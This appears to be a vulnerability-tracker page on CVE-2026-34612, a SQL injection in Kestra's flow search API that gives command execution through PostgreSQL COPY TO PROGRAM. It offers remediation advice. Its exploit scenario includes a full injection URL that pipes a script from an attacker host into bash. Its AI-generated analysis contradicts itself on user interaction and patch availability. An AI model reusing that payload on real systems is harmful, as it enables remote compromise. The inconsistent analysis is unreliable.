Kestra
CVE-2026-34612
CRITICAL
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessAuthenticate to Kestra instance
-
ExploitCraft malicious SQL injection payload in /api/v1/main/flows/search
-
ExecutionPostgreSQL executes COPY TO PROGRAM command
-
ImpactArbitrary OS commands execute on host
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Parameterized queries, prepared statements
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Persistence The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Kestra versions before 1.3.7 in default docker-compose deployment. Attacker requires valid authenticated user credentials. Victim must visit a crafted link containing SQL injection payload targeting GET /api/v1/main/flows/search endpoint. PostgreSQL executes arbitrary OS commands via COPY...TO PROGRAM. |
| Impact | This vulnerability presents critical real-world risk despite requiring low-privilege authentication (PR:L). The CVSS 9.9 score accurately reflects severity due to network attack vector (AV:N), low complexity (AC:L), no user interaction (UI:N), scope change (S:C indicating container/host boundary crossing), and complete CIA impact. The scope change metric is particularly significant as it indicates potential container escape or lateral movement beyond the application boundary. Attack complexity is genuinely low - visiting a crafted URL triggers exploitation automatically without timing dependencies or race conditions. While no EPSS score or KEV status is provided in the input data, the combination of public exploit code availability (GitHub commit 3926762 provides technical details of the fix, enabling reverse-engineering), Docker deployment prevalence, and the one-click nature of exploitation (no UI required) create favorable conditions for opportunistic scanning and exploitation. The SSVC framework would likely categorize this as requiring urgent remediation: exploitation is straightforward given the commit details, the vulnerability is automatable via URL parameter manipulation, and technical impact enables full system compromise. Organizations running default Kestra docker-compose deployments face immediate risk of database compromise and potential host system access. |
| Exploit ScenarioDerived | An attacker with valid low-privilege credentials (such as a workflow developer account) crafts a malicious URL containing SQL injection payloads in the flow search parameters, for example: https://kestra-instance/api/v1/main/flows/search?query='; COPY (SELECT '') TO PROGRAM 'curl attacker.com/shell.sh | bash'--. When an authenticated user clicks this link or when the attacker accesses it with their own credentials, the PostgreSQL backend executes the injected SQL, invoking COPY TO PROGRAM to download and execute a reverse shell on the database container. The attacker gains code execution with PostgreSQL service privileges, potentially pivoting to other containers or the host system through shared Docker networks or mounted volumes. Publicly available exploit code exists in the form of the patching commit, which reveals the vulnerable code paths and exploitation methodology. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Apr 03, 2026
SQL injection in Kestra orchestration platform's flow search endpoint (GET /api/v1/main/flows/search) enables remote code execution on the underlying PostgreSQL host. Authenticated users can trigger the vulnerability by visiting a malicious link, exploiting PostgreSQL's COPY TO PROGRAM feature to execute arbitrary OS commands on the Docker container host. Affects Kestra versions prior to 1.3.7 in default docker-compose deployments. With CVSS 9.9 (Critical) and low attack complexity requiring only low-privilege authentication, this represents a severe risk for container escape and host compromise scenarios.
RemediationAI
Upgrade immediately to Kestra version 1.3.7 or later, which contains fixes for the SQL injection vulnerability as documented in the official release at https://github.com/kestra-io/kestra/releases/tag/v1.3.7. The patch implemented in commit 3926762795df8ad3e03924b370c51832ed3a21d3 addresses input sanitization in the flow search endpoint. Organizations unable to upgrade immediately should implement network-level access controls to restrict the /api/v1/main/flows/search endpoint to trusted IP ranges only, though this is a temporary mitigation and does not eliminate risk from authenticated insider threats or compromised credentials. Review PostgreSQL container permissions and consider running the database with reduced privileges that prevent COPY TO PROGRAM execution if operationally feasible. Consult the vendor security advisory at https://github.com/kestra-io/kestra/security/advisories/GHSA-365w-2m69-mp9x for additional guidance. Audit authentication logs for suspicious access patterns to the vulnerable endpoint prior to patching.
Affects your stack
Find out whether the stacks and servers you run are on an affected version.
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
Kestra is an event-driven workflow orchestration platform built on PostgreSQL for metadata storage. The vulnerability stems from improper input sanitization (CWE-89) in the flow search API endpoint, allowing SQL injection into PostgreSQL queries. The attack chain exploits PostgreSQL's COPY TO PROGRAM command, a native database feature that can execute arbitrary shell commands on the database server when provided malicious SQL input. In the default docker-compose deployment architecture, this translates to code execution within the PostgreSQL container context, which may share resources or network access with the host system. The affected product (cpe:2.3:a:kestra-io:kestra) is particularly vulnerable because the search endpoint processes user-controlled input without adequate parameterization, and the database connection has sufficient privileges to invoke COPY operations. This vulnerability class is particularly dangerous in containerized environments where database and application services often run with elevated permissions.
Know when Kestra gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H
Primary rating from NVD · only source for this CVE.
CVSS VectorNVD
Lifecycle Timeline
2DescriptionNVD
Kestra is an open-source, event-driven orchestration platform. Prior to version 1.3.7, Kestra (default docker-compose deployment) contains a SQL Injection vulnerability that leads to Remote Code Execution (RCE) in the following endpoint "GET /api/v1/main/flows/search". Once a user is authenticated, simply visiting a crafted link is enough to trigger the vulnerability. The injected payload is executed by PostgreSQL using COPY ... TO PROGRAM ..., which in turn runs arbitrary OS commands on the host. This issue has been patched in version 1.3.7.
Executive ViewAI
Kestra orchestration platform versions prior to 1.3.7 contain a critical SQL injection vulnerability in the flow search endpoint that allows authenticated users to execute arbitrary operating system commands on the Docker container host through PostgreSQL's native execution features. Organizations using Kestra for workflow automation face immediate risk of complete infrastructure compromise, including container escape and lateral movement to underlying hosts, requiring urgent remediation of all affected instances.
No vendor-released patch identified at time of analysis. Interim mitigations: (1) Restrict network access to /api/v1/main/flows/search endpoint to trusted IP ranges only; (2) Disable or revoke low-privilege user accounts if possible, permitting only administrative access; (3) Implement Web Application Firewall rules to block POST/GET requests to the search endpoint containing SQL metacharacters (semicolons, UNION, COPY keywords); (4) Monitor PostgreSQL audit logs for COPY TO PROGRAM statements; (5) Consider running Kestra in an isolated container environment with no host volume mounts and read-only filesystems where operationally feasible.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
SQL injection exploits the way applications construct database queries by mixing user input directly into SQL statements.
Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.
Affected Products (CPE)NVD
Unauthenticated remote code execution affects Kestra OSS (the open-source event-driven orchestration platform) prior to
Unauthenticated remote code execution in Kestra orchestration platform before 1.0.45 and 1.3.21 lets anonymous attackers
Stored cross-site scripting in Kestra's custom Markdown renderer (versions before 1.3.24) allows any authenticated user
Kestra versions 1.1.10 and earlier allow authenticated users to perform cross-site scripting (XSS) attacks through the e
Offline administrator password recovery in Kestra OSS (versions prior to 1.3.24) stems from its BasicAuth component stor
Arbitrary file read in Kestra orchestration platform (versions prior to 1.0.43 and 1.3.19) lets an authenticated user wi
Authenticated path traversal in Kestra's local internal-storage backend (versions prior to 1.0.45 and 1.3.23) lets any l
Cross-site scripting in Kestra orchestration platform versions up to 1.3.3 enables authenticated flow authors to inject
Path traversal in Kestra's `inputFiles` task mechanism allows remote attackers to write arbitrary files to the worker fi
Unauthorized file read in Kestra's execution preview API allows any authenticated tenant user to access output files fro
NVD
CVE.org
EPSS
Vulnrichment
GitHub
VulDB
Exploit-DB